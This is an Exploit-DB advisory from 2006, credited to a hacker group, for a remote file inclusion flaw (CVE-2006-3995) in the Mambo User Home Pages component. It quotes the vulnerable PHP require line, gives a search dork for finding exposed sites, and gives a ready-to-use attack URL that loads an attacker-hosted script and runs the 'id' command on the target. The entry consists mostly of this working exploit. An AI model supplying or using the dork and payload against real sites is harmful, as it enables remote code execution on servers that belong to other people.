Mambo User Home Pages Component <= 0.5 - Remote Include Vulnerability

2006-07-30T00:00:00
ID EDB-ID:2089
Type exploitdb
Reporter Kurdish Security
Modified 2006-07-30T00:00:00

Description

Mambo User Home Pages Component <= 0.5 Remote Include Vulnerability. CVE-2006-3995. Webapps exploit for php platform

                                        
                                            &gt;&gt;&gt; Kurdish Security

&gt;&gt;&gt; Freedom For Ocalan

&gt;&gt;&gt; Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com

&gt;&gt;&gt; Rish : High

&gt;&gt;&gt; Class : Remote

&gt;&gt;&gt; Script : User Home Pges

&gt;&gt;&gt; Site : www.ravensportal.co.uk

&gt;&gt;&gt; Thanx : kurdishsniper,netqurd,flot,azad,darki,B3g0k,jubni,milex,fearless,kha,kca and other my friends

Code :

global $mosConfig_absolute_path;
require($mosConfig_absolute_path."/administrator/components/com_uhp/uhp_config.inc");

d0rkiz : allinurl:"com_uhp"

http://www.w0rkzsite.com/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=y0urscripts.txt?&cmd=id

And used link :]

footer.php
functions.php
install.uhp.php
toolbar.uhp.html.php
uhp.class.php
uhp_config.php
uninstall.uhp.php

# milw0rm.com [2006-07-30]